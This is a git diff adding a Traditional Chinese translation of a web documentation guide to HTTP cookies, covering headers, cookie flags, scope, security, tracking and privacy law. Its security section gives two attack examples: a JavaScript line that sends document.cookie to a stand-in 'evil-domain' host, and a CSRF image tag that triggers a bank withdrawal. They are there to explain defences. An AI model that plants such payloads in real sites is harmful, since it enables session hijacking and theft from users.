initial commit

1 files changed, 194 insertions, 0 deletions

diff --git a/files/zh-tw/web/http/cookies/index.html b/files/zh-tw/web/http/cookies/index.html
new file mode 100644
index 0000000000..e6baf94bb4
--- /dev/null
+++ b/files/zh-tw/web/http/cookies/index.html
@@ -0,0 +1,194 @@
+---
+title: HTTP cookies
+slug: Web/HTTP/Cookies
+tags:
+  - Cookies
+  - Guide
+  - HTTP
+translation_of: Web/HTTP/Cookies
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary"><span class="seoSummary"><dfn>HTTP cookie</dfn>（web cookie、browser cookie）為伺服器傳送予使用者瀏覽器的一個小片段資料。瀏覽器可能儲存並於下一次請求回傳 cookie 至相同的伺服器。</span>Cookie 通常被用來保持使用者的登入狀態——如果兩次請求都來自相同的瀏覽器。舉例來說，它記住了<a href="/zh-TW/docs/Web/HTTP/Overview#HTTP_is_stateless_but_not_sessionless">無狀態（stateless）</a>HTTP 協議的有狀態資訊。</p>
+
+<p>Cookies 主要用於三個目的：</p>
+
+<dl>
+ <dt>Session 管理</dt>
+ <dd>帳號登入、購物車、遊戲分數，或任何其他伺服器應該記住的資訊</dd>
+ <dt>個人化</dt>
+ <dd>使用者設定、佈景主題，以及其他設定</dd>
+ <dt>追蹤</dt>
+ <dd>記錄並分析使用者行為</dd>
+</dl>
+
+<p>Cookies 曾被當作一般的客戶端儲存方式來使用。這在當時 cookie 仍是將資料儲存在客戶端的唯一方法時是合法的，現在則建議使用現代的 storage APIs。Cookies 會被每一個請求發送出去，所以可能會影響效能（尤其是行動裝置的資料連線）。現代客戶端的 storage APIs 為 <a href="/zh-TW/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a> （<code>localStorage</code> 和 <code>sessionStorage</code>）以及 <a href="/zh-TW/docs/Web/API/IndexedDB_API">IndexedDB</a>。</p>
+
+<div class="note">
+<p>要檢視儲存的 cookies（以及其他網頁可以使用的儲存資料），你可以開啟開發者工具中的<a href="/zh-TW/docs/Tools/Storage_Inspector">儲存檢示器（Storage Inspector）</a>並自儲存樹（storage tree）選擇 Cookies。</p>
+</div>
+
+<h2 id="建立_cookies">建立 cookies</h2>
+
+<p>收到一個 HTTP 請求時，伺服器可以傳送一個 {{HTTPHeader("Set-Cookie")}} 的標頭和回應。Cookie 通常存於瀏覽器中，並隨著請求被放在{{HTTPHeader("Cookie")}} HTTP 標頭內，傳給同個伺服器。可以註明 Cookie 的有效或終止時間，超過後 Cookie 將不再發送。此外，也可以限制 Cookie 不傳送到特定的網域或路徑。</p>
+
+<h3 id="Set-Cookie_及_Cookie_標頭"><code>Set-Cookie</code> 及 <code>Cookie</code> 標頭</h3>
+
+<p>{{HTTPHeader("Set-Cookie")}} HTTP 回應標頭從伺服器傳送 cookies 至用戶代理。一個簡單的 cookie 可以如下例設定：</p>
+
+<pre class="syntaxbox">Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;</pre>
+
+<p>這個來自伺服器的標頭告訴客戶端要儲存一個 cookie 。</p>
+
+<div class="note"><strong>備註：</strong>以下是如何在不同的伺服器端應用程式中，使用 <code>Set-Cookie</code> 標頭：
+
+<ul>
+ <li><a href="https://secure.php.net/manual/en/function.setcookie.php">PHP</a></li>
+ <li><a href="https://nodejs.org/dist/latest-v8.x/docs/api/http.html#http_response_setheader_name_value">Node.JS</a></li>
+ <li><a href="https://docs.python.org/3/library/http.cookies.html">Python</a></li>
+ <li><a href="http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html">Ruby on Rails</a></li>
+</ul>
+</div>
+
+<pre>HTTP/1.0 200 OK
+Content-type: text/html
+Set-Cookie: yummy_cookie=choco
+Set-Cookie: tasty_cookie=strawberry
+
+[page content]</pre>
+
+<p id="The_client_sends_back_to_the_server_its_cookies_previously_stored">現在隨著每個請求，瀏覽器會使用 {{HTTPHeader("Cookie")}} 標頭將所有先前儲存的 cookies 傳給伺服器。</p>
+
+<pre>GET /sample_page.html HTTP/1.1
+Host: www.example.org
+Cookie: yummy_cookie=choco; tasty_cookie=strawberry</pre>
+
+<h3 id="Session_cookies">Session cookies</h3>
+
+<p>以上創建的 cookie 為 <em>session cookie</em>：當客戶端關閉時即被刪除，因為它並沒有註明過期 <code>Expires</code> 或可維持的最大時間 <code>Max-Age</code>。不過網頁瀏覽器可使用 <strong>session restoring</strong>，讓 session cookies 永久保存，就像瀏覽器從來沒關閉。</p>
+
+<h3 id="常駐_cookies">常駐 cookies</h3>
+
+<p>常駐 cookies 不會在客戶關閉後到期，而是在一個特定的日期 (<code>Expires</code>) 或一個標明的時間長度後（<code>Max-Age</code>）。</p>
+
+<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;</pre>
+
+<div class="note">
+<p><strong>備註：</strong>當到期日被設定後，時間與日期即為相對於用戶端設定 cookie 的時間，而非伺服器。</p>
+</div>
+
+<h3 id="Secure_以及_HttpOnly_cookies"><code>Secure</code> 以及 <code>HttpOnly</code> cookies</h3>
+
+<p>Secure cookie 只有在以加密的請求透過 HTTPS 協議時，傳送給伺服器。但即便是 <code>Secure</code> ，敏感的資訊絕對不該存在 cookies 內，因為他們本質上是不安全的，這個旗標不能提供真正的保護。自 Chrome 52 以及 Firefox 52 開始，不安全的網站（<code>http:</code>）就不能以 <code>Secure</code> 的指示設定 cookies。</p>
+
+<p>為了避免跨站腳本攻擊 ({{Glossary("XSS")}})，JavaScript 的{{domxref("Document.cookie")}} API 無法取得 <code>HttpOnly</code> cookies；他們只傳送到伺服器。舉例來說，不需要讓 JavaScript 可以取用仍在伺服器 sessions 中的 cookies 時，就應該立 <code>HttpOnly</code> 的旗幟。</p>
+
+<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly</pre>
+
+<h3 id="Cookies_的作用範圍">Cookies 的作用範圍</h3>
+
+<p><code>Domain</code> 及 <code>Path</code> 的指示定義了 cookie 的作用範圍： cookies 應該被送到哪些 URLs 。</p>
+
+<p><code>Domain</code> 註明了受允許的 hosts 能接收 cookie。若無註明，則預設給<a href="/zh-TW/docs/Web/API/Document/location">當前文件位置的 host</a><strong>，不包含 subdomain。</strong> 若 <code>Domain</code> <em>有被註明</em>，則 subdomains 總是被包含。</p>
+
+<p>舉例來說，當設定 <code>Domain=mozilla.org</code> 後，在像 <code>developer.mozilla.org</code> 之類的 subdomains 中，cookies 都被包含在內。</p>
+
+<p><code>Path</code> 指出一個必定存在於請求 URL 中的 URL 路徑，使 <code>Cookie</code> 標頭能被傳出。%x2F（「/」）字元是資料夾分隔符號，子資料夾也同樣會被匹配。</p>
+
+<p>例如，當設定 <code>Path=/docs</code> 後，以下的路徑皆會匹配：</p>
+
+<ul>
+ <li><code>/docs</code></li>
+ <li><code>/docs/Web/</code></li>
+ <li><code>/docs/Web/HTTP</code></li>
+</ul>
+
+<h3 id="SameSite_cookies_experimental_inline"><code>SameSite</code> cookies {{experimental_inline}}</h3>
+
+<p><code>SameSite</code> 讓伺服器要求 cookie 不應以跨站請求的方式寄送，某種程度上避免了跨站請求偽造的攻擊（{{Glossary("CSRF")}}）。<code>SameSite</code> cookies 目前仍在實驗階段，尚未被所有的瀏覽器支援。</p>
+
+<h3 id="JavaScript_使用_Document.cookie_存取">JavaScript 使用 <code>Document.cookie</code> 存取</h3>
+
+<p>新的 cookies 亦可經由 JavaScript 的 {{domxref("Document.cookie")}} 屬性生成，且若沒有立 <code>HttpOnly</code> 旗幟，已存在的 cookies 可以透過 JavaScript 取得。</p>
+
+<pre class="brush: js">document.cookie = "yummy_cookie=choco";
+document.cookie = "tasty_cookie=strawberry";
+console.log(document.cookie);
+// logs "yummy_cookie=choco; tasty_cookie=strawberry"</pre>
+
+<p>請注意以下<a href="/zh-TW/docs/Web/HTTP/Cookies#Security">安全性</a>章節的資安問題。JavaScript 可取得的 Cookies 即有被 XSS 攻擊竊取的風險。</p>
+
+<h2 id="安全性">安全性</h2>
+
+<div class="note">
+<p><span>機密或敏感的資訊永遠不應該以 HTTP Cookies 的方式儲存或傳送，因為整個機制的本質是不安全的。</span></p>
+</div>
+
+<h3 id="Session_hijacking_以及_XSS">Session hijacking 以及 XSS</h3>
+
+<p>Cookies 常用於網頁應用程式中，識別使用者與其 authenticated session，因此竊取 cookie 可能造成使用者的 authenticated session 被劫持。一般偷取 cookies 的作法包括社交工程（Social Engineering），或利用應用程式中的 {{Glossary("XSS")}} 漏洞。</p>
+
+<pre class="brush: js">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;</pre>
+
+<p>Cookie 中的 <code>HttpOnly</code> 屬性，能藉由防止透過 JavaScript 取得 cookie 內容，來減少此類型的攻擊。</p>
+
+<h3 id="Cross-site_request_forgery_(CSRF)">Cross-site request forgery (CSRF)</h3>
+
+<p><a href="https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery">維基百科</a>為 {{Glossary("CSRF")}} 舉了一個好例子。假設在一個未經過濾的對話或論壇中，某人插入了一個並非真實圖片，而是對你銀行伺服器請求領錢的 image：</p>
+
+<pre class="brush: html">&lt;img src="http://bank.example.com/withdraw?account=bob&amp;amount=1000000&amp;for=mallory"&gt;</pre>
+
+<p>現在如果你的銀行帳戶仍在登入狀態中，你的 cookies 仍然有效，並且沒有其他的驗證方式，當你載入包含此圖片的 HTML 同時，你的錢即會被轉出。以下是一些避免此情況發生的技術：</p>
+
+<ul>
+ <li>Input filtering 和 {{Glossary("XSS")}} 一樣是重要的。</li>
+ <li>做任何敏感的動作前，都應該要求使用者確認。</li>
+ <li>用於敏感動作的 Cookies 都只應該有短時間的生命週期。</li>
+ <li>更多防範的技巧，參見 <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet">OWASP CSRF prevention cheat sheet</a>。</li>
+</ul>
+
+<h2 id="追蹤及隱私">追蹤及隱私</h2>
+
+<h3 id="第三方_cookies">第三方 cookies</h3>
+
+<p>Cookies 會帶有他們所屬的網域名。若此網域和你所在的頁面網域相同，cookies 即為<em>第一方（first-party）cookie</em>，不同則為<em>第三方（third-party）cookie</em>。第一方 cookies 只被送到設定他們的伺服器，但一個網頁可能含有存在其他網域伺服器的圖片或組件（像橫幅廣告）。透過這些第三方組件傳送的 cookies 便是第三方 cookies，經常被用於廣告和網頁上的追蹤。參見 <a href="https://www.google.com/policies/technologies/types/">Google 常用的 cookies 種類</a>。大部分的瀏覽器預設允許第三方 cookies，但也有些可以阻擋他們的 add-on（例如 <a href="https://www.eff.org/">EFF</a> 的 <a href="https://addons.mozilla.org/zh-TW/firefox/addon/privacy-badger-firefox/">Privacy Badger</a>）。</p>
+
+<div>若沒有事先告訴消費者第三方 cookies 的存在，當消費者發現你使用 cookie 時，對你的信任將會受損。因此，公開表明 cookie 的使用（像在隱私權條款中）將減低發現 cookie 時的負面影響。有些國家有關於 cookies 的法律條文。範例可以參見維基百科的 <a href="https://wikimediafoundation.org/wiki/Cookie_statement">cookie statement</a>。</div>
+
+<ul>
+</ul>
+
+<h3 id="Do-Not-Track">Do-Not-Track</h3>
+
+<p><span>對於 cookie 的使用並沒有法律上或技術上的規定，但可利用 {{HTTPHeader("DNT")}} 標頭，指示網頁應用程式關閉頁面的追蹤、或跨站的使用者追蹤。參見{{HTTPHeader("DNT")}} 標頭以獲得更多資訊。</span></p>
+
+<h3 id="EU_cookie_directive">EU cookie directive</h3>
+
+<p>歐洲議會在 <a href="http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136">Directive 2009/136/EC</a> 中定義了歐盟的 cookies 規定，並於 2011 年 5 月 25 日生效。此指示本身並非法律，而是給歐盟會員國要作為法律，需符合之規定的指示。實際的法條可因國制宜。</p>
+
+<p>簡而言之，EU directive 指明要儲存或取得使用者電腦、手機、或其他裝置上的資訊前，都要經過使用者的同意。很多網站加了橫幅告知使用者 cookies 的使用。</p>
+
+<p>參見<a href="https://en.wikipedia.org/wiki/HTTP_cookie#EU_cookie_directive">維基百科上此章節</a>，並查詢國家的法律以取得最新與最精確的資訊。</p>
+
+<h3 id="Zombie_cookies_and_Evercookies">Zombie cookies and Evercookies</h3>
+
+<p>Zombie cookies 或「Evercookies」是一個更激進的手段，刻意讓 cookies 在被刪除後重新創造，使其很難被永遠的刪除。這些 cookies 使用 <a href="/zh-TW/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a>、Flash Local Shared Objects 和其他的技術，使得當他們被偵測不存在時，就會立刻重新創造。</p>
+
+<ul>
+ <li><a href="https://github.com/samyk/evercookie">Evercookie by Samy Kamkar</a></li>
+ <li><a href="https://en.wikipedia.org/wiki/Zombie_cookie">維基百科上的 Zombie cookies</a></li>
+</ul>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{HTTPHeader("Set-Cookie")}}</li>
+ <li>{{HTTPHeader("Cookie")}}</li>
+ <li>{{domxref("Document.cookie")}}</li>
+ <li>{{domxref("Navigator.cookieEnabled")}}</li>
+ <li><a href="/zh-TW/docs/Tools/Storage_Inspector">Inspecting cookies using the Storage Inspector</a></li>
+ <li><a class="external" href="https://tools.ietf.org/html/rfc6265">Cookie specification: RFC 6265</a></li>
+ <li><a class="external" href="https://www.nczonline.net/blog/2009/05/05/http-cookies-explained/">Nicholas Zakas article on cookies</a></li>
+ <li><a class="external" href="https://www.nczonline.net/blog/2009/05/12/cookies-and-security/">Nicholas Zakas article on cookies and security</a></li>
+ <li><a href="https://en.wikipedia.org/wiki/HTTP_cookie">HTTP cookie on Wikipedia</a></li>
+</ul>